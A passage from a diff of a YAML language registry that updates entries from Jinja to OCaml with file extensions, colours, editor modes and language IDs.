+  - html+jinja
+  - htmldjango
+  extensions:
+  - ".jinja"
+  - ".j2"
+  - ".jinja2"
+  tm_scope: text.html.django
+  ace_mode: django
+  codemirror_mode: django
+  codemirror_mime_type: text/x-django
+  language_id: 147
+Jison:
+  type: programming
+  color: "#56b3cb"
+  group: Yacc
+  extensions:
+  - ".jison"
+  tm_scope: source.jison
+  ace_mode: text
+  language_id: 284531423
+Jison Lex:
+  type: programming
+  color: "#56b3cb"
+  group: Lex
+  extensions:
+  - ".jisonlex"
+  tm_scope: source.jisonlex
+  ace_mode: text
+  language_id: 406395330
+Jolie:
+  type: programming
+  extensions:
+  - ".ol"
+  - ".iol"
+  interpreters:
+  - jolie
+  color: "#843179"
+  ace_mode: text
+  tm_scope: source.jolie
+  language_id: 998078858
+Jsonnet:
+  color: "#0064bd"
+  type: programming
+  ace_mode: text
+  extensions:
+  - ".jsonnet"
+  - ".libsonnet"
+  tm_scope: source.jsonnet
+  language_id: 664885656
 Julia:
   type: programming
   extensions:
-  - .jl
+  - ".jl"
+  interpreters:
+  - julia
   color: "#a270ba"
+  tm_scope: source.julia
   ace_mode: julia
-
+  codemirror_mode: julia
+  codemirror_mime_type: text/x-julia
+  language_id: 184
+Julia REPL:
+  type: programming
+  color: "#a270ba"
+  tm_scope: source.julia.console
+  group: Julia
+  ace_mode: text
+  language_id: 220689142
 Jupyter Notebook:
   type: markup
   ace_mode: json
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
   tm_scope: source.json
   color: "#DA5B0B"
   extensions:
-  - .ipynb
+  - ".ipynb"
   filenames:
   - Notebook
   aliases:
   - IPython Notebook
-
+  language_id: 185
+Just:
+  type: programming
+  aliases:
+  - Justfile
+  color: "#384d54"
+  tm_scope: source.just
+  filenames:
+  - ".JUSTFILE"
+  - ".Justfile"
+  - ".justfile"
+  - JUSTFILE
+  - Justfile
+  - justfile
+  extensions:
+  - ".just"
+  ace_mode: text
+  language_id: 128447695
 KRL:
   type: programming
-  color: "#28431f"
+  color: "#28430A"
   extensions:
-  - .krl
+  - ".krl"
   tm_scope: none
   ace_mode: text
-
-KiCad:
+  language_id: 186
+Kaitai Struct:
   type: programming
+  aliases:
+  - ksy
+  ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  color: "#773b37"
   extensions:
-  - .sch
-  - .brd
-  - .kicad_pcb
-  tm_scope: none
+  - ".ksy"
+  tm_scope: source.yaml
+  language_id: 818804755
+KakouneScript:
+  type: programming
+  color: "#6f8042"
+  tm_scope: source.kakscript
+  aliases:
+  - kak
+  - kakscript
+  extensions:
+  - ".kak"
+  filenames:
+  - kakrc
+  ace_mode: text
+  language_id: 603336474
+KerboScript:
+  type: programming
+  ace_mode: text
+  extensions:
+  - ".ks"
+  color: "#41adf0"
+  tm_scope: source.kerboscript
+  language_id: 59716426
+KiCad Layout:
+  type: data
+  color: "#2f4aab"
+  aliases:
+  - pcbnew
+  extensions:
+  - ".kicad_pcb"
+  - ".kicad_mod"
+  - ".kicad_wks"
+  filenames:
+  - fp-lib-table
+  tm_scope: source.pcb.sexp
+  ace_mode: lisp
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 187
+KiCad Legacy Layout:
+  type: data
+  color: "#2f4aab"
+  extensions:
+  - ".brd"
+  tm_scope: source.pcb.board
   ace_mode: text
-
+  language_id: 140848857
+KiCad Schematic:
+  type: data
+  color: "#2f4aab"
+  aliases:
+  - eeschema schematic
+  extensions:
+  - ".kicad_sch"
+  - ".sch"
+  tm_scope: source.pcb.schematic
+  ace_mode: text
+  language_id: 622447435
+Kickstart:
+  type: data
+  ace_mode: text
+  extensions:
+  - ".ks"
+  tm_scope: source.kickstart
+  language_id: 692635484
 Kit:
   type: markup
   ace_mode: html
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
   extensions:
-  - .kit
+  - ".kit"
   tm_scope: text.html.basic
-
+  language_id: 188
 Kotlin:
   type: programming
-  color: "#F18E33"
+  color: "#A97BFF"
   extensions:
-  - .kt
-  - .ktm
-  - .kts
-  tm_scope: source.Kotlin
+  - ".kt"
+  - ".ktm"
+  - ".kts"
+  tm_scope: source.kotlin
   ace_mode: text
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-kotlin
+  language_id: 189
+Kusto:
+  type: data
+  extensions:
+  - ".csl"
+  - ".kql"
+  tm_scope: source.kusto
+  ace_mode: text
+  language_id: 225697190
 LFE:
   type: programming
+  color: "#4C3023"
   extensions:
-  - .lfe
-  color: "#004200"
-  group: Erlang
+  - ".lfe"
   tm_scope: source.lisp
   ace_mode: lisp
-
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 190
 LLVM:
   type: programming
   extensions:
-  - .ll
+  - ".ll"
+  tm_scope: source.llvm
   ace_mode: text
   color: "#185619"
-
+  language_id: 191
 LOLCODE:
   type: programming
   extensions:
-  - .lol
+  - ".lol"
   color: "#cc9900"
-  tm_scope: none
+  tm_scope: source.lolcode
   ace_mode: text
-
+  language_id: 192
 LSL:
   type: programming
+  tm_scope: source.lsl
   ace_mode: lsl
   extensions:
-  - .lsl
-  - .lslp
+  - ".lsl"
+  - ".lslp"
   interpreters:
   - lsl
-  color: '#3d9970'
-
+  color: "#3d9970"
+  language_id: 193
+LTspice Symbol:
+  type: data
+  extensions:
+  - ".asy"
+  tm_scope: source.ltspice.symbol
+  ace_mode: text
+  codemirror_mode: spreadsheet
+  codemirror_mime_type: text/x-spreadsheet
+  language_id: 1013566805
 LabVIEW:
   type: programming
+  color: "#fede06"
   extensions:
-  - .lvproj
+  - ".lvproj"
+  - ".lvclass"
+  - ".lvlib"
   tm_scope: text.xml
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 194
+Lark:
+  type: data
+  color: "#2980B9"
+  extensions:
+  - ".lark"
+  tm_scope: source.lark
+  ace_mode: text
+  codemirror_mode: ebnf
+  codemirror_mime_type: text/x-ebnf
+  language_id: 758480799
 Lasso:
   type: programming
   color: "#999999"
   extensions:
-  - .lasso
-  - .las
-  - .lasso8
-  - .lasso9
-  - .ldml
+  - ".lasso"
+  - ".las"
+  - ".lasso8"
+  - ".lasso9"
   tm_scope: file.lasso
   aliases:
   - lassoscript
   ace_mode: text
-
+  language_id: 195
 Latte:
   type: markup
-  color: "#A8FF97"
-  group: HTML
+  color: "#f2a542"
   extensions:
-  - .latte
+  - ".latte"
   tm_scope: text.html.smarty
   ace_mode: smarty
-
+  codemirror_mode: smarty
+  codemirror_mime_type: text/x-smarty
+  language_id: 196
 Lean:
   type: programming
   extensions:
-  - .lean
-  - .hlean
+  - ".lean"
+  - ".hlean"
+  tm_scope: source.lean
   ace_mode: text
-
+  language_id: 197
+Lean 4:
+  type: programming
+  group: Lean
+  extensions:
+  - ".lean"
+  tm_scope: source.lean4
+  ace_mode: text
+  language_id: 455147478
 Less:
   type: markup
-  group: CSS
+  color: "#1d365d"
+  aliases:
+  - less-css
   extensions:
-  - .less
+  - ".less"
   tm_scope: source.css.less
   ace_mode: less
-  color: "#A1D9A1"
-
+  codemirror_mode: css
+  codemirror_mime_type: text/css
+  language_id: 198
 Lex:
   type: programming
   color: "#DBCA00"
   aliases:
   - flex
   extensions:
-  - .l
-  - .lex
-  tm_scope: none
+  - ".l"
+  - ".lex"
+  filenames:
+  - Lexer.x
+  - lexer.x
+  tm_scope: source.lex
   ace_mode: text
-
+  language_id: 199
+LigoLANG:
+  type: programming
+  color: "#0e74ff"
+  extensions:
+  - ".ligo"
+  tm_scope: source.ligo
+  ace_mode: pascal
+  codemirror_mode: pascal
+  codemirror_mime_type: text/x-pascal
+  group: LigoLANG
+  language_id: 1040646257
 LilyPond:
   type: programming
+  color: "#9ccc7c"
   extensions:
-  - .ly
-  - .ily
+  - ".ly"
+  - ".ily"
+  tm_scope: source.lilypond
   ace_mode: text
-
+  language_id: 200
 Limbo:
   type: programming
   extensions:
-  - .b
-  - .m
+  - ".b"
+  - ".m"
   tm_scope: none
   ace_mode: text
-
+  language_id: 201
 Linker Script:
   type: data
   extensions:
-  - .ld
-  - .lds
+  - ".ld"
+  - ".lds"
+  - ".x"
   filenames:
   - ld.script
   tm_scope: none
   ace_mode: text
-
+  language_id: 202
 Linux Kernel Module:
   type: data
   extensions:
-  - .mod
+  - ".mod"
   tm_scope: none
   ace_mode: text
-
+  language_id: 203
 Liquid:
   type: markup
+  color: "#67b8de"
   extensions:
-  - .liquid
+  - ".liquid"
   tm_scope: text.html.liquid
   ace_mode: liquid
-
+  language_id: 204
 Literate Agda:
   type: programming
+  color: "#315665"
   group: Agda
   extensions:
-  - .lagda
+  - ".lagda"
   tm_scope: none
   ace_mode: text
-
+  language_id: 205
 Literate CoffeeScript:
   type: programming
+  color: "#244776"
   tm_scope: source.litcoffee
   group: CoffeeScript
-  ace_mode: markdown
+  ace_mode: text
   wrap: true
-  search_term: litcoffee
   aliases:
   - litcoffee
   extensions:
-  - .litcoffee
-  ace_mode: text
-
+  - ".litcoffee"
+  - ".coffee.md"
+  language_id: 206
 Literate Haskell:
   type: programming
+  color: "#5e5086"
   group: Haskell
-  search_term: lhs
   aliases:
   - lhaskell
   - lhs
   extensions:
-  - .lhs
+  - ".lhs"
   tm_scope: text.tex.latex.haskell
   ace_mode: text
-
+  codemirror_mode: haskell-literate
+  codemirror_mime_type: text/x-literate-haskell
+  language_id: 207
+LiveCode Script:
+  type: programming
+  color: "#0c5ba5"
+  extensions:
+  - ".livecodescript"
+  tm_scope: source.livecodescript
+  ace_mode: text
+  language_id: 891017
 LiveScript:
   type: programming
   color: "#499886"
@@ -2090,112 +3978,208 @@ LiveScript:
   - live-script
   - ls
   extensions:
-  - .ls
-  - ._ls
+  - ".ls"
+  - "._ls"
   filenames:
   - Slakefile
+  tm_scope: source.livescript
   ace_mode: livescript
-
+  codemirror_mode: livescript
+  codemirror_mime_type: text/x-livescript
+  language_id: 208
 Logos:
   type: programming
   extensions:
-  - .xm
-  - .x
-  - .xi
+  - ".xm"
+  - ".x"
+  - ".xi"
   ace_mode: text
   tm_scope: source.logos
-
+  language_id: 209
 Logtalk:
   type: programming
+  color: "#295b9a"
   extensions:
-  - .lgt
-  - .logtalk
+  - ".lgt"
+  - ".logtalk"
+  tm_scope: source.logtalk
   ace_mode: text
-
+  language_id: 210
 LookML:
   type: programming
   ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
   color: "#652B81"
   extensions:
-  - .lookml
+  - ".lkml"
+  - ".lookml"
   tm_scope: source.yaml
-
+  language_id: 211
 LoomScript:
   type: programming
   extensions:
-  - .ls
+  - ".ls"
   tm_scope: source.loomscript
   ace_mode: text
-
+  language_id: 212
 Lua:
   type: programming
+  tm_scope: source.lua
   ace_mode: lua
+  codemirror_mode: lua
+  codemirror_mime_type: text/x-lua
   color: "#000080"
   extensions:
-  - .lua
-  - .fcgi
-  - .nse
-  - .pd_lua
-  - .rbxs
-  - .wlua
+  - ".lua"
+  - ".fcgi"
+  - ".nse"
+  - ".p8"
+  - ".pd_lua"
+  - ".rbxs"
+  - ".rockspec"
+  - ".wlua"
+  filenames:
+  - ".luacheckrc"
   interpreters:
   - lua
-
+  language_id: 213
+Luau:
+  type: programming
+  tm_scope: source.luau
+  ace_mode: lua
+  codemirror_mode: lua
+  codemirror_mime_type: text/x-lua
+  color: "#00A2FF"
+  extensions:
+  - ".luau"
+  interpreters:
+  - luau
+  language_id: 365050359
 M:
   type: programming
   aliases:
   - mumps
   extensions:
-  - .mumps
-  - .m
-  tm_scope: source.lisp
-  ace_mode: lisp
-
+  - ".mumps"
+  - ".m"
+  ace_mode: text
+  codemirror_mode: mumps
+  codemirror_mime_type: text/x-mumps
+  language_id: 214
+  tm_scope: none
 M4:
   type: programming
   extensions:
-  - .m4
-  tm_scope: none
+  - ".m4"
+  - ".mc"
+  tm_scope: source.m4
   ace_mode: text
-
+  language_id: 215
 M4Sugar:
   type: programming
   group: M4
   aliases:
   - autoconf
   extensions:
-  - .m4
+  - ".m4"
   filenames:
   - configure.ac
-  tm_scope: none
+  tm_scope: source.m4
   ace_mode: text
-
+  language_id: 216
+MATLAB:
+  type: programming
+  color: "#e16737"
+  aliases:
+  - octave
+  extensions:
+  - ".matlab"
+  - ".m"
+  tm_scope: source.matlab
+  ace_mode: matlab
+  codemirror_mode: octave
+  codemirror_mime_type: text/x-octave
+  language_id: 225
 MAXScript:
   type: programming
-  color: "#00a6a6"
+  color: "#00a6a6"
+  extensions:
+  - ".ms"
+  - ".mcr"
+  tm_scope: source.maxscript
+  ace_mode: text
+  language_id: 217
+MDX:
+  type: markup
+  color: "#fcb32c"
+  ace_mode: markdown
+  codemirror_mode: gfm
+  codemirror_mime_type: text/x-gfm
+  wrap: true
+  extensions:
+  - ".mdx"
+  tm_scope: source.mdx
+  language_id: 512838272
+MLIR:
+  type: programming
+  color: "#5EC8DB"
+  extensions:
+  - ".mlir"
+  tm_scope: source.mlir
+  ace_mode: text
+  language_id: 448253929
+MQL4:
+  type: programming
+  color: "#62A8D6"
+  extensions:
+  - ".mq4"
+  - ".mqh"
+  tm_scope: source.mql5
+  ace_mode: c_cpp
+  language_id: 426
+MQL5:
+  type: programming
+  color: "#4A76B8"
   extensions:
-  - .ms
-  - .mcr
-  tm_scope: source.maxscript
-  ace_mode: text
-
+  - ".mq5"
+  - ".mqh"
+  tm_scope: source.mql5
+  ace_mode: c_cpp
+  language_id: 427
 MTML:
   type: markup
   color: "#b7e1f4"
   extensions:
-  - .mtml
+  - ".mtml"
   tm_scope: text.html.basic
   ace_mode: html
-
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  language_id: 218
 MUF:
   type: programming
   group: Forth
   extensions:
-  - .muf
-  - .m
+  - ".muf"
+  - ".m"
   tm_scope: none
   ace_mode: forth
-
+  codemirror_mode: forth
+  codemirror_mime_type: text/x-forth
+  language_id: 219
+Macaulay2:
+  type: programming
+  extensions:
+  - ".m2"
+  aliases:
+  - m2
+  interpreters:
+  - M2
+  ace_mode: text
+  tm_scope: source.m2
+  color: "#d8ffff"
+  language_id: 34167825
 Makefile:
   type: programming
   color: "#427819"
@@ -2204,113 +4188,139 @@ Makefile:
   - make
   - mf
   extensions:
-  - .mak
-  - .d
-  - .mk
-  - .mkfile
+  - ".mak"
+  - ".d"
+  - ".make"
+  - ".makefile"
+  - ".mk"
+  - ".mkfile"
   filenames:
   - BSDmakefile
   - GNUmakefile
   - Kbuild
   - Makefile
   - Makefile.am
+  - Makefile.boot
   - Makefile.frag
   - Makefile.in
   - Makefile.inc
+  - Makefile.wat
   - makefile
   - makefile.sco
   - mkfile
   interpreters:
   - make
+  tm_scope: source.makefile
   ace_mode: makefile
-
+  codemirror_mode: cmake
+  codemirror_mime_type: text/x-cmake
+  language_id: 220
 Mako:
   type: programming
+  color: "#7e858d"
   extensions:
-  - .mako
-  - .mao
+  - ".mako"
+  - ".mao"
   tm_scope: text.html.mako
   ace_mode: text
-
+  language_id: 221
 Markdown:
   type: prose
+  color: "#083fa1"
+  aliases:
+  - md
+  - pandoc
   ace_mode: markdown
+  codemirror_mode: gfm
+  codemirror_mime_type: text/x-gfm
   wrap: true
   extensions:
-  - .md
-  - .markdown
-  - .mkd
-  - .mkdn
-  - .mkdown
-  - .ron
-  tm_scope: source.gfm
-
+  - ".md"
+  - ".livemd"
+  - ".markdown"
+  - ".mdown"
+  - ".mdwn"
+  - ".mkd"
+  - ".mkdn"
+  - ".mkdown"
+  - ".ronn"
+  - ".scd"
+  - ".workbook"
+  filenames:
+  - contents.lr
+  tm_scope: text.md
+  language_id: 222
+Marko:
+  type: markup
+  color: "#42bff2"
+  tm_scope: text.marko
+  extensions:
+  - ".marko"
+  aliases:
+  - markojs
+  ace_mode: text
+  codemirror_mode: htmlmixed
+  codemirror_mime_type: text/html
+  language_id: 932782397
 Mask:
   type: markup
   color: "#f97732"
   ace_mode: mask
   extensions:
-  - .mask
+  - ".mask"
   tm_scope: source.mask
-
+  language_id: 223
 Mathematica:
   type: programming
-  extensions:
-  - .mathematica
-  - .cdf
-  - .m
-  - .ma
-  - .mt
-  - .nb
-  - .nbp
-  - .wl
-  - .wlt
+  color: "#dd1100"
+  extensions:
+  - ".mathematica"
+  - ".cdf"
+  - ".m"
+  - ".ma"
+  - ".mt"
+  - ".nb"
+  - ".nbp"
+  - ".wl"
+  - ".wlt"
   aliases:
   - mma
-  ace_mode: text
-
-Matlab:
-  type: programming
-  color: "#bb92ac"
-  aliases:
-  - octave
-  extensions:
-  - .matlab
-  - .m
-  ace_mode: matlab
-
+  - wolfram
+  - wolfram language
+  - wolfram lang
+  - wl
+  tm_scope: source.mathematica
+  ace_mode: text
+  codemirror_mode: mathematica
+  codemirror_mime_type: text/x-mathematica
+  language_id: 224
 Maven POM:
   type: data
+  group: XML
   tm_scope: text.xml.pom
   filenames:
   - pom.xml
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 226
 Max:
   type: programming
   color: "#c4a79c"
   aliases:
   - max/msp
   - maxmsp
-  search_term: max/msp
   extensions:
-  - .maxpat
-  - .maxhelp
-  - .maxproj
-  - .mxt
-  - .pat
+  - ".maxpat"
+  - ".maxhelp"
+  - ".maxproj"
+  - ".mxt"
+  - ".pat"
   tm_scope: source.json
   ace_mode: json
-
-MediaWiki:
-  type: prose
-  wrap: true
-  extensions:
-  - .mediawiki
-  - .wiki
-  tm_scope: text.html.mediawiki
-  ace_mode: text
-
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
+  language_id: 227
 Mercury:
   type: programming
   color: "#ff2b2b"
@@ -2318,258 +4328,603 @@ Mercury:
   interpreters:
   - mmi
   extensions:
-  - .m
-  - .moo
+  - ".m"
+  - ".moo"
   tm_scope: source.mercury
-  ace_mode: prolog
-
+  language_id: 229
+Mermaid:
+  type: markup
+  color: "#ff3670"
+  aliases:
+  - mermaid example
+  extensions:
+  - ".mmd"
+  - ".mermaid"
+  tm_scope: source.mermaid
+  ace_mode: text
+  language_id: 385992043
+Meson:
+  type: programming
+  color: "#007800"
+  filenames:
+  - meson.build
+  - meson_options.txt
+  tm_scope: source.meson
+  ace_mode: text
+  language_id: 799141244
 Metal:
   type: programming
   color: "#8f14e9"
   extensions:
-  - .metal
+  - ".metal"
   tm_scope: source.c++
   ace_mode: c_cpp
-
-MiniD: # Legacy
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-c++src
+  language_id: 230
+Microsoft Developer Studio Project:
+  type: data
+  extensions:
+  - ".dsp"
+  tm_scope: none
+  ace_mode: text
+  language_id: 800983837
+Microsoft Visual Studio Solution:
+  type: data
+  extensions:
+  - ".sln"
+  tm_scope: source.solution
+  ace_mode: text
+  language_id: 849523096
+MiniD:
   type: programming
-  searchable: false
   extensions:
-  - .minid # Dummy extension
+  - ".minid"
   tm_scope: none
   ace_mode: text
-
+  language_id: 231
+MiniYAML:
+  type: data
+  color: "#ff1111"
+  tm_scope: source.miniyaml
+  extensions:
+  - ".yaml"
+  - ".yml"
+  ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  language_id: 4896465
+Mint:
+  type: programming
+  extensions:
+  - ".mint"
+  ace_mode: text
+  color: "#02b046"
+  tm_scope: source.mint
+  language_id: 968740319
 Mirah:
   type: programming
-  search_term: mirah
   color: "#c7a938"
   extensions:
-  - .druby
-  - .duby
-  - .mir
-  - .mirah
+  - ".druby"
+  - ".duby"
+  - ".mirah"
   tm_scope: source.ruby
   ace_mode: ruby
-
+  codemirror_mode: ruby
+  codemirror_mime_type: text/x-ruby
+  language_id: 232
 Modelica:
   type: programming
+  color: "#de1d31"
   extensions:
-  - .mo
+  - ".mo"
   tm_scope: source.modelica
   ace_mode: text
-
+  codemirror_mode: modelica
+  codemirror_mime_type: text/x-modelica
+  language_id: 233
 Modula-2:
   type: programming
+  color: "#10253f"
   extensions:
-  - .mod
+  - ".mod"
   tm_scope: source.modula2
   ace_mode: text
-
+  language_id: 234
+Modula-3:
+  type: programming
+  extensions:
+  - ".i3"
+  - ".ig"
+  - ".m3"
+  - ".mg"
+  color: "#223388"
+  ace_mode: text
+  tm_scope: source.modula-3
+  language_id: 564743864
 Module Management System:
   type: programming
   extensions:
-  - .mms
-  - .mmk
+  - ".mms"
+  - ".mmk"
   filenames:
   - descrip.mmk
   - descrip.mms
   tm_scope: none
   ace_mode: text
-
+  language_id: 235
+Mojo:
+  type: programming
+  color: "#ff4c1f"
+  extensions:
+  - ".mojo"
+  ace_mode: python
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  tm_scope: source.mojo
+  language_id: 1045019587
 Monkey:
   type: programming
   extensions:
-  - .monkey
+  - ".monkey"
+  - ".monkey2"
   ace_mode: text
   tm_scope: source.monkey
-
+  language_id: 236
+Monkey C:
+  type: programming
+  color: "#8D6747"
+  extensions:
+  - ".mc"
+  tm_scope: source.mc
+  ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 231751931
 Moocode:
   type: programming
   extensions:
-  - .moo
+  - ".moo"
   tm_scope: none
   ace_mode: text
-
+  language_id: 237
 MoonScript:
   type: programming
+  color: "#ff4585"
   extensions:
-  - .moon
+  - ".moon"
   interpreters:
   - moon
+  tm_scope: source.moonscript
+  ace_mode: text
+  language_id: 238
+Motoko:
+  type: programming
+  color: "#fbb03b"
+  extensions:
+  - ".mo"
+  tm_scope: source.mo
+  ace_mode: text
+  language_id: 202937027
+Motorola 68K Assembly:
+  type: programming
+  color: "#005daa"
+  group: Assembly
+  aliases:
+  - m68k
+  extensions:
+  - ".asm"
+  - ".i"
+  - ".inc"
+  - ".s"
+  - ".x68"
+  tm_scope: source.m68k
+  ace_mode: assembly_x86
+  language_id: 477582706
+Move:
+  type: programming
+  color: "#4a137a"
+  extensions:
+  - ".move"
+  tm_scope: source.move
+  ace_mode: text
+  language_id: 638334599
+Muse:
+  type: prose
+  extensions:
+  - ".muse"
+  tm_scope: text.muse
   ace_mode: text
-
+  wrap: true
+  language_id: 474864066
+  aliases:
+  - amusewiki
+  - emacs muse
+Mustache:
+  type: markup
+  color: "#724b3b"
+  extensions:
+  - ".mustache"
+  tm_scope: text.html.smarty
+  ace_mode: smarty
+  codemirror_mode: smarty
+  codemirror_mime_type: text/x-smarty
+  language_id: 638334590
 Myghty:
   type: programming
   extensions:
-  - .myt
+  - ".myt"
   tm_scope: none
   ace_mode: text
-
+  language_id: 239
+NASL:
+  type: programming
+  extensions:
+  - ".nasl"
+  - ".inc"
+  tm_scope: source.nasl
+  ace_mode: text
+  language_id: 171666519
 NCL:
   type: programming
   color: "#28431f"
   extensions:
-  - .ncl
+  - ".ncl"
   tm_scope: source.ncl
   ace_mode: text
-
+  language_id: 240
+NEON:
+  type: data
+  extensions:
+  - ".neon"
+  tm_scope: source.neon
+  ace_mode: text
+  aliases:
+  - nette object notation
+  - ne-on
+  language_id: 481192983
 NL:
   type: data
   extensions:
-  - .nl
+  - ".nl"
+  tm_scope: none
+  ace_mode: text
+  language_id: 241
+NMODL:
+  type: programming
+  color: "#00356B"
+  extensions:
+  - ".mod"
   tm_scope: none
   ace_mode: text
-
+  language_id: 136456478
+NPM Config:
+  type: data
+  color: "#cb3837"
+  group: INI
+  aliases:
+  - npmrc
+  filenames:
+  - ".npmrc"
+  tm_scope: source.ini.npmrc
+  ace_mode: text
+  language_id: 685022663
 NSIS:
   type: programming
   extensions:
-  - .nsi
-  - .nsh
+  - ".nsi"
+  - ".nsh"
+  tm_scope: source.nsis
+  ace_mode: text
+  codemirror_mode: nsis
+  codemirror_mime_type: text/x-nsis
+  language_id: 242
+NWScript:
+  type: programming
+  color: "#111522"
+  extensions:
+  - ".nss"
+  tm_scope: source.c.nwscript
+  ace_mode: c_cpp
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 731233819
+Nasal:
+  type: programming
+  color: "#1d2c4e"
+  extensions:
+  - ".nas"
+  tm_scope: source.nasal
+  ace_mode: nasal
+  language_id: 178322513
+Nearley:
+  type: programming
   ace_mode: text
-
+  color: "#990000"
+  extensions:
+  - ".ne"
+  - ".nearley"
+  tm_scope: source.ne
+  language_id: 521429430
 Nemerle:
   type: programming
   color: "#3d3c6e"
   extensions:
-  - .n
+  - ".n"
+  tm_scope: source.nemerle
   ace_mode: text
-
+  language_id: 243
 NetLinx:
   type: programming
   color: "#0aa0ff"
   extensions:
-  - .axs
-  - .axi
+  - ".axs"
+  - ".axi"
   tm_scope: source.netlinx
   ace_mode: text
-
+  language_id: 244
 NetLinx+ERB:
   type: programming
   color: "#747faa"
   extensions:
-  - .axs.erb
-  - .axi.erb
+  - ".axs.erb"
+  - ".axi.erb"
   tm_scope: source.netlinx.erb
   ace_mode: text
-
+  language_id: 245
 NetLogo:
   type: programming
   color: "#ff6375"
   extensions:
-  - .nlogo
+  - ".nlogo"
   tm_scope: source.lisp
   ace_mode: lisp
-
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 246
 NewLisp:
   type: programming
-  lexer: NewLisp
   color: "#87AED7"
   extensions:
-  - .nl
-  - .lisp
-  - .lsp
+  - ".nl"
+  - ".lisp"
+  - ".lsp"
   interpreters:
   - newlisp
   tm_scope: source.lisp
   ace_mode: lisp
-
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 247
+Nextflow:
+  type: programming
+  ace_mode: groovy
+  tm_scope: source.nextflow
+  color: "#3ac486"
+  extensions:
+  - ".nf"
+  filenames:
+  - nextflow.config
+  interpreters:
+  - nextflow
+  language_id: 506780613
 Nginx:
-  type: markup
+  type: data
+  color: "#009639"
   extensions:
-  - .nginxconf
-  - .vhost
+  - ".nginx"
+  - ".nginxconf"
+  - ".vhost"
   filenames:
   - nginx.conf
   tm_scope: source.nginx
   aliases:
   - nginx configuration file
   ace_mode: text
-  color: "#9469E9"
-
-Nimrod:
+  codemirror_mode: nginx
+  codemirror_mime_type: text/x-nginx-conf
+  language_id: 248
+Nim:
   type: programming
-  color: "#37775b"
+  color: "#ffc200"
   extensions:
-  - .nim
-  - .nimrod
+  - ".nim"
+  - ".nim.cfg"
+  - ".nimble"
+  - ".nimrod"
+  - ".nims"
+  filenames:
+  - nim.cfg
   ace_mode: text
   tm_scope: source.nim
-
+  language_id: 249
 Ninja:
   type: data
   tm_scope: source.ninja
   extensions:
-  - .ninja
+  - ".ninja"
   ace_mode: text
-
+  language_id: 250
 Nit:
   type: programming
   color: "#009917"
   extensions:
-  - .nit
+  - ".nit"
   tm_scope: source.nit
   ace_mode: text
-
+  language_id: 251
 Nix:
   type: programming
   color: "#7e7eff"
   extensions:
-  - .nix
+  - ".nix"
   aliases:
   - nixos
   tm_scope: source.nix
   ace_mode: nix
-
+  language_id: 252
+Noir:
+  type: programming
+  aliases:
+  - nargo
+  ace_mode: rust
+  codemirror_mode: rust
+  codemirror_mime_type: text/x-rustsrc
+  extensions:
+  - ".nr"
+  color: "#2f1f49"
+  tm_scope: source.nr
+  language_id: 813068465
 Nu:
   type: programming
   color: "#c9df40"
   aliases:
   - nush
   extensions:
-  - .nu
+  - ".nu"
   filenames:
   - Nukefile
   tm_scope: source.nu
   ace_mode: scheme
+  codemirror_mode: scheme
+  codemirror_mime_type: text/x-scheme
   interpreters:
   - nush
-
+  language_id: 253
 NumPy:
   type: programming
+  color: "#9C8AF9"
   group: Python
   extensions:
-  - .numpy
-  - .numpyw
-  - .numsc
+  - ".numpy"
+  - ".numpyw"
+  - ".numsc"
   tm_scope: none
   ace_mode: text
-  color: "#9C8AF9"
-
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  language_id: 254
+Nunjucks:
+  type: markup
+  color: "#3d8137"
+  extensions:
+  - ".njk"
+  aliases:
+  - njk
+  tm_scope: text.html.nunjucks
+  ace_mode: nunjucks
+  language_id: 461856962
+Nushell:
+  type: programming
+  color: "#4E9906"
+  extensions:
+  - ".nu"
+  interpreters:
+  - nu
+  aliases:
+  - nu-script
+  - nushell-script
+  tm_scope: source.nushell
+  ace_mode: sh
+  codemirror_mode: shell
+  codemirror_mime_type: text/x-sh
+  language_id: 446573572
+OASv2-json:
+  type: data
+  color: "#85ea2d"
+  extensions:
+  - ".json"
+  group: OpenAPI Specification v2
+  tm_scope: source.json
+  ace_mode: json
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
+  language_id: 834374816
+OASv2-yaml:
+  type: data
+  color: "#85ea2d"
+  extensions:
+  - ".yaml"
+  - ".yml"
+  group: OpenAPI Specification v2
+  tm_scope: source.yaml
+  ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  language_id: 105187618
+OASv3-json:
+  type: data
+  color: "#85ea2d"
+  extensions:
+  - ".json"
+  group: OpenAPI Specification v3
+  tm_scope: source.json
+  ace_mode: json
+  codemirror_mode: javascript
+  codemirror_mime_type: application/json
+  language_id: 980062566
+OASv3-yaml:
+  type: data
+  color: "#85ea2d"
+  extensions:
+  - ".yaml"
+  - ".yml"
+  group: OpenAPI Specification v3
+  tm_scope: source.yaml
+  ace_mode: yaml
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  language_id: 51239111
 OCaml:
   type: programming
   ace_mode: ocaml
-  color: "#3be133"
-  extensions:
-  - .ml
-  - .eliom
-  - .eliomi
-  - .ml4
-  - .mli
-  - .mll
-  - .mly
+  codemirror_mode: mllike
+  codemirror_mime_type: text/x-ocaml
+  color: "#ef7a08"
+  extensions:
+  - ".ml"
+  - ".eliom"
+  - ".eliomi"
+  - ".ml4"
